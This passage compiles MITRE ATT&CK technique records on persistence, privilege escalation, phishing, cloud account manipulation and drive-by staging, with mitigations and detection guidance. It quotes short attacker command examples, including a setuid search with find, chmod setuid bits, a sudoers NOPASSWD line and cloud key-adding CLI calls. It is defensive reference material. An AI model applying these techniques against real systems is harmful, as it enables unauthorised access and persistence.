with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.\n\nTo make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`. […]\n\n## Reference: ATT&CK T1543.004 Launch Daemon\n**ATT&CK T1543.004 Launch Daemon (full record).** Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in `/System/Library/LaunchDaemons/` and `/Library/LaunchDaemons/`. Required Launch Daemons parameters include a `Label` to identify the task, `Program` to provide a path to the executable, and `RunAtLoad` to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the `RunAtLoad` parameter set to `true` and the `Program` parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as `usr/local/bin` to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.

However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac Permissions). The `chmod` command can set these bits with bitmasking, `chmod 4777 [file]` or via shorthand naming, `chmod u+s [file]`. This will enable the setuid bit. To enable the setgid bit, `chmod 2775` and `chmod g+s` can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via `ls -l`. The `find` command can also be used to search for such files. For example, `find / -perm +4000 2>/dev/null` can be used to find files with setuid set and `find / -perm +2000 2>/dev/null` may be used for setgid. Binaries that have these bits set may then be abused by adversaries. […]\n\n## Reference: ATT&CK T1548.003 Sudo and Sudo Caching\n**ATT&CK T1548.003 Sudo and Sudo Caching (full record).** Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL`. Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. […]\n\n## Reference: ATT&CK T1548.004 Elevated Execution with Prompt\n**ATT&CK T1548.004 Elevated Execution with Prompt (full record).** Adversaries may leverage the `AuthorizationExecuteWithPrivileges` API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.\n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse `AuthorizationExecuteWithPrivileges` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1548 Abuse Elevation Control Mechanism - Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions.

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1566 Phishing - Adversaries may send phishing messages to gain access to victim systems.

Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer.\n\nAdversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, macOS, Windows, Identity Provider\n- Sub-technique of: T1566 Phishing - Adversaries may send phishing messages to gain access to victim systems.

Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: ESXi, Linux, macOS, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1567.001 Exfiltration to Code Repository: Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel.\n- T1567.003 Exfiltration to Text Storage Sites: Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel.\n- T1567.002 Exfiltration to Cloud Storage: Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel.\n- T1567.004 Exfiltration Over Webhook: Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel.\n\n**Mitigations.** - **Restrict Web-Based Content**: Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors.

These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the `CreateKeyPair` or `ImportKeyPair` API in AWS or the `gcloud compute os-login ssh-keys add` command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.\n\nAdversaries may also use the `CreateAccessKey` API in AWS or the `gcloud iam service-accounts keys create` command in GCP to add access keys to an account. Alternatively, they may use the `CreateLoginProfile` API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts). For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.\n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account. […]\n\n## Reference: ATT&CK T1098.002 Additional Email Delegate Permissions\n**ATT&CK T1098.002 Additional Email Delegate Permissions (full record).** Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.\n\nFor example, the `Add-MailboxPermission` PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows, Office Suite\n- Sub-technique of: T1098 Account Manipulation - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). […]\n\n## Reference: ATT&CK T1098.003 Additional Cloud Roles\n**ATT&CK T1098.003 Additional Cloud Roles (full record).** An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments. With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).\n\nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the `CreatePolicyVersion` API to define a new version of an IAM policy or the `AttachUserPolicy` API to attach an IAM policy with additional or distinct permissions to a compromised user account.\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to Create Account or modify a victim-owned account.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: IaaS, Identity Provider, Office Suite, SaaS\n- Sub-technique of: T1098 Account Manipulation - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.

This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. […]\n\n## Reference: ATT&CK T1098.004 SSH Authorized Keys\n**ATT&CK T1098.004 SSH Authorized Keys (full record).** Adversaries may modify the SSH `authorized_keys` file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The `authorized_keys` file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under `<user-home>/.ssh/authorized_keys` (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`). Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH. The SSH config file is usually located under `/etc/ssh/sshd_config`.\n\nAdversaries may modify SSH `authorized_keys` files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH. It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.\n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command. […]\n\n## Reference: ATT&CK T1098.005 Device Registration\n**ATT&CK T1098.005 Device Registration (full record).** Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network. In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.\n\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.\n\nDevices registered in Entra ID may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client. Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Entra ID tenant by registering a large number of devices.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows, Identity Provider\n- Sub-technique of: T1098 Account Manipulation - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.

Examples include payment systems, HR databases, production systems, and internet-facing servers.\n- Use VLANs, firewalls, or routers to enforce logical separation.\n\nImplement DMZ for Public-Facing Services:\n\n- Host web servers, DNS servers, and email servers in a DMZ to limit their access to internal systems.\n- Apply strict firewall rules to filter traffic between the DMZ and internal networks.\n\nUse Cloud-Based Segmentation:\n\n- In cloud environments, use VPCs, subnets, and security groups to isolate applications and enforce traffic rules.\n- Apply AWS Transit Gateway or Azure VNet peering for controlled connectivity between cloud segments.\n\nApply Microsegmentation for Workloads:\n\n- Use software-defined networking (SDN) tools to implement workload-level segmentation and prevent lateral movement.\n\nRestrict Traffic with ACLs and Firewalls:\n\n- Apply Access Control Lists (ACLs) to network devices to enforce \"deny by default\" policies.\n- Use firewalls to restrict both north-south (external-internal) and east-west (internal-internal) traffic.\n\nMonitor and Audit Segmented Networks:\n\n- Regularly review firewall rules, ACLs, and segmentation policies.\n- Monitor network flows for anomalies to ensure segmentation is effective.\n\nTest Segmentation Effectiveness:\n\n- Perform periodic penetration tests to verify that unauthorized access is blocked between network segments.\n\n## Multi-factor Authentication\nMulti-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.\n\n## Privileged Account Management\nPrivileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\nAccount Permissions and Roles:\n\n- Implement RBAC and least privilege principles to allocate permissions securely.\n- Use tools like Active Directory Group Policies to enforce access restrictions.\n\nCredential Security:\n\n- Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.\n- Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).\n\nMulti-Factor Authentication (MFA):\n\n- Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.\n\nPrivileged Access Management (PAM):\n\n- Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.\n\nAuditing and Monitoring:\n\n- Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.\n\nJust-In-Time Access:\n\n- Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.\n\n*Tools for Implementation*\n\nPrivileged Access Management (PAM):\n\n- CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.\n\nCredential Management:\n\n- Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.\n\nMulti-Factor Authentication:\n\n- Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.\n\nLinux Privilege Management:\n\n- sudo configuration, SELinux, AppArmor.\n\nJust-In-Time Access:\n\n- Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.\n\n## Principle\nAgainst T1136.003, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1547.009 Shortcut Modification\n**ATT&CK T1547.009 Shortcut Modification (full record).** Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence. Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. […]\n\n## Reference: ATT&CK T1547.012 Print Processors\n**ATT&CK T1547.012 Print Processors (full record).** Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the `AddPrintProcessor` API call with an account that has `SeLoadDriverPrivilege` enabled. Alternatively, a print processor can be registered to the print spooler service by adding the `HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver` Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the `GetPrintProcessorDirectory` API call, or referenced via a relative path from this directory. After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.

This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office**\n  - Adversaries create user accounts via identity provider APIs or admin portals (e.g., Azure AD, Okta). These accounts may be assigned elevated privileges or used in chained authentication. Detection monitors Add User activity from suspicious IPs or automation sources, followed by role/permission escalation. (telemetry: azure:audit:Add user, azure:audit:Add member to role, azure:signinlogs:Login from newly created account)\n  - Adversaries use cloud API, CLI, or console to create IAM users or roles. Initial CreateUser is followed by policy/role attachment. Detection monitors temporal chains involving IAM:CreateUser, AttachUserPolicy, and credential generation, especially from automation or foreign IP ranges. (telemetry: AWS:CloudTrail:CreateUser, AWS:CloudTrail:AttachUserPolicy)\n  - Adversaries create SaaS accounts via admin dashboards or integrations (e.g., Zoom, Salesforce, Slack). Monitor lifecycle.create or account provisioning events from non-standard sources or times. (telemetry: saas:zoom:New user created)\n  - Adversaries leverage M365 or Google Workspace APIs to create users, service accounts, or guest accounts. Follow-on behaviors include login activity, role escalation, or service principal token generation. (telemetry: m365:unified:Add user, m365:unified:Add member to group)\n\n## Tracked users (groups, malware, tools)\n- APT29 (intrusion-set): APT29 is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).\n- LAPSUS$ (intrusion-set): LAPSUS$ is cyber criminal threat group that has been active since at least mid-2021.\n- AADInternals (tool): AADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.\n\n## Reference: ATT&CK T1608.004 Drive-by Target\n**ATT&CK T1608.004 Drive-by Target (full record).** Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise. […]\n\n## Reference: ATT&CK T1608.005 Link Target\n**ATT&CK T1608.005 Link Target (full record).** Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link.\n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link.\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove. […]\n\n## Reference: ATT&CK T1608.006 SEO Poisoning\n**ATT&CK T1608.006 SEO Poisoning (full record).** Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.\n\nTo help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors.\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1608 Stage Capabilities - Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control.\n\n**Mitigations.** - **Pre-compromise**: Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack.

With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment. In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for Temporary Elevated Cloud Access. While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding Additional Cloud Credentials or assigning Additional Cloud Roles.\n\n## Reference: ATT&CK T1542.005 TFTP Boot\n**ATT&CK T1542.005 TFTP Boot (full record).** Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Network Devices\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary 